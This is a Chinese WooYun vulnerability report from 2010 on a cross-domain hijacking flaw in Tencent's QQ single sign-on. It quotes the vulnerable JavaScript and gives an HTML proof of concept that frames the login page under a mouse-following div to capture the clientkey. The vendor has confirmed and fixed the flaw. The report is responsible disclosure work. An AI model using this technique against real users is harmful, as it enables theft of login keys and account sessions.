漏洞概要 关注数(1) 关注此漏洞
缺陷编号: WooYun-2010-00197
漏洞标题: 腾讯单点登录系统跨域劫持漏洞 Ⅱ
相关厂商: 腾讯
漏洞作者: rayh4c
提交时间: 2010-08-15
公开时间: 2010-09-14
漏洞类型: 设计缺陷/逻辑错误
危害等级: 高
自评Rank: 20
漏洞状态: 厂商已经确认
漏洞来源: http://www.wooyun.org
Tags标签: 认证设计不合理 安全架构设计导致攻击界面变大 腾讯认证
漏洞详情
披露状态:
2010-08-15: 细节已通知厂商并且等待厂商处理中
2010-08-15: 厂商已经确认,细节仅向厂商公开
2010-08-25: 细节向核心白帽子及相关领域专家公开
2010-09-04: 细节向普通白帽子公开
2010-09-14: 细节向实习白帽子公开
2010-09-29: 细节向公众公开
简要描述:
腾讯单点登录系统在安全架构上存在安全缺陷,黑客可以轻易通过一些漏洞跨域劫持单点登录系统,从而获取客户端QQ所有相关服务的权限。细节补充:和上次,上上次的漏洞一样,可以通过网页挂马的方式远程获取QQ客户端的clientkey.
详细说明:
单点登录系统网页的javascript的跨域设置是通过点击按钮的事件触发的,如下流程:
http://imgcache.qq.com/ptlogin/ac/v7/js/xui.js
--------------------------------------------------------
if (!flag) {
g_domain = "qq.com"
}
没有FLAG参数,G_DOMAIN设置成QQ.COM.
.......
function unloadpage(){
document.domain = g_domain;
unloadpage函数进行跨域设置
.......
function hummer_login(E, D, A, F){
if (A == "") {
A = "jump"
}
var C = "http://ptlogin2." + D + "/" + A + "?clientuin=" + E.uin + "&clientkey=" + E.key + "&keyindex=9";
if (F != null && F != "") {
var B = decodeURIComponent(F);
if (B.indexOf("#") > -1) {
B = B.replace(/#/g, "%23")
}
C += ("&" + B)
}
switch (parseInt(g_qtarget)) {
case 0:
unloadpage();
parent.location.href = C;
break;
页面转跳前运行 unloadpage()函数
........
-------------------------------------------------------
黑客可以直接IFRAME单点登录系统的网页,先通过设置location全局变量让网页转跳失败,然后再通过腾讯网站任意的一个XSS漏洞,跨域获取用户的clientkey。
同局域网内可以直接用clientkey使用单点登录系统,非局域网用户可以强制用户单点登录获取用户的session。
漏洞证明:
真正的攻击场景需要腾讯网站的一个XSS配合,攻击方式可以做到用户在随便在任意一个网站点击链接,就可以获取clientkey!
下面给一个POC,完美EXP太H太暴力了,就不给了:
<html>
<head>
<script>
var location = '';
function click_hijack(obj)
{
document.all("div_xss").style.display=obj;
document.all("div_xss").style.top=event.clientY+document.body.scrollTop + 220;
document.all("div_xss").style.left=event.clientX+document.body.scrollLeft - 340;
}
</script>
</head>
<body>
<br>
<div align="center">
<a id="click" href='' onMouseMove="click_hijack('block')" onmouseout="click_hijack('none')">test1</a>
<br>
<br>
<a id="click" href='' onMouseMove="click_hijack('block')" onmouseout="click_hijack('none')">test2</a>
<br>
<br>
</div>
<div id="div_xss" style="position:absolute;" >
<iframe id="victim" src="http://xui.ptlogin2.qq.com/cgi-bin/qlogin?domain=qq.com" scrolling="no" style="position: absolute;left: 200;bottom: 200;" height="90px;" width="200px;"></iframe>
</div>
</body>
</html>
修复方案:
防止单点登录系统服务被非信任域引用。
版权声明:转载请注明来源 rayh4c@乌云
漏洞回应
厂商回应:
危害等级:高
漏洞Rank:20
确认时间:2010-08-15
厂商回复:
收到,我们尽快确认
最新状态:
2010-08-24:已修复
漏洞评价:
对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值